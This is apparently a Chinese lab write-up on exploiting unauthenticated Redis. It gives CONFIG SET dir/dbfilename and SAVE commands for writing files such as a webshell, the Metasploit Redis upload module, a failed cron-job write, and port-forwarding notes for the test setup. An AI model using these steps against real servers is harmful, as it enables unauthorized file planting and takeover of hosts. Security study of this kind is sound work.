作者:丁丁2244 | 来源:互联网 | 2023-07-07 19:53
文章目录Redis未授权访问漏洞利用写文件上传文件写计划任务(没有成功)额外遇到的问题Bind多个IP失败Redis未授权访问漏洞简介利用redis配置不当,或弱密码(反正就是能拿
文章目录
Redis未授权访问漏洞
简介
利用redis配置不当,或弱密码(反正就是能拿到redis的权限),然后利用redis做一系列操作。
利用
写文件
知识点
命令:CONFIG GET dir
获取数据库的存储路径(文件将会保存的地方,当然可以使用SET进行设置,如果有权限的话)
命令:CONFIG GET dbfilename
获取数据库文件名,默认是dump.rdb
(通过SET设置为webshell.php等任意文件格式,然后利用)
命令:SAVE
保存当前数据库(将数据库内的内容写到文件中,上面给出了文件的路径和名称)
示例
-
配置文件保存路径
查看命令:CONFIG GET dir
设置命令:CONFIG SET dir <新的文件路径>
(配置新的文件路径时,确保redis对其有相关的访问权限,这里使用的便是redis默认的文件保存路径)
-
配置文件名
查看命令:CONFIG GET dbfilename
设置命令:CONFIG SET dbfilename <新的文件名称>
-
设置数据
命令:SET <需要保存的数据>
-
保存
命令:SAVE
(这里保存失败,有可能是redis对设置的文件路径没有访问权限,具体可以查看redis的日志文件观察错误信息)
开始时配置了自定义路径,redis没有访问权限,导致保存失败,查看日志发现了问题,改回默认路径后解决了。
自定义访问路径
失败日志(日志默认路径/var/log/redis/redis-server.log
)
修改回默认路径后保存成功
目录下出现了对应文件
上传文件
知识点
采用的是Metasploit
中redis的upload模块
其原理是和文件上传一样的
示例
-
搜索并采用upload
模块
-
配置相关的属性
RHOSTS
:目标IP
RPORT
:目标服务端口
RemoteFile
:目标机器保存文件的绝对路径
LocalFile
:需要上传的文件
FLUSHALL
:是否清空数据库(一般不要,这里只是为了测试)
-
执行
成功
失败,很大可能是路径访问权限问题
写计划任务(没有成功)
知识点
命令:flushall
清空所有key,一般不使用,清空key是为了写计划任务时防止破坏文件格式
命令:CONFIG SET dir [path]
设置文件保存路径,一般计划任务文件存储路径为/var/spool/cron
命令:SET key "..."
设置键值,也是将写入文件的内容
命令:CONFIG SET dbfilename ...
设置文件名(需要什么写什么,木马、计划任务、网页等等)
命令:SAVE
保存数据库内容(自己写的内容)
Linux定时计划任务
命令:sudo crontab [-u user] [-i] {-e|-l|-r}
计划任务文件格式:
# 执行命令使用额shell,默认是sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
启动Syslog日志服务,记录定时任务计划执行状态
命令:sudo /etc/init.d/rsyslog start
示例
文件成功写入,但是运行时出现了报错,提示文件格式不对
于是简单了解下Linux中Crontab计划任务 Link
遇到的问题
- 没有目录权限
- 格式不对
- shell不对
默认是sh
,但需要的是bash
额外遇到的问题
Bind多个IP失败
简述
默认只允许127.0.0.1
的本地连接,想要让外部机器访问,需要设置配置文件redis.conf
中的bind
它允许设置多个IP,如bind ip1 ip2 [ip...]
但我其中一个环境ok,另一个环境不行,在出问题的环境下采用了端口映射的方法绕过。
环境
Windows 10(服务端)
WSL Ubuntu-18.04(redis服务需要环境)
Redis-4.0.9
kali(访问端)
过程
-
配置Windows端口映射
由于只允许回环地址127.0.0.1:6379
进行访问,我们将本地IP端口映射到回环地址上
命令:netsh interface protproxy add v4tov4 listenaddress=<本地IP> listenport=<监听的端口> cOnnectaddress=127.0.0.1 cOnnectport=6379
-
校验是否成功
第一次校验,校验端口是否成功映射
命令:netsh interface protproxy show all
第二次校验,校验是否能连接上
命令:redis-cli -h <本地IP> -p <监听的端口>
-
防护墙设置
第二步完成后表示映射已经可以使用了,但使用另一台机器访问redis时可能还是不行,这是由于防火墙拦截了,这里列出两种解决方法。
- 关闭防火墙
一劳永逸,但大大降低了安全性。 - 配置入站设置
只针对特定IP或IP组开放特定端口,安全性有一定保障。(出入站规则配置请自行百度)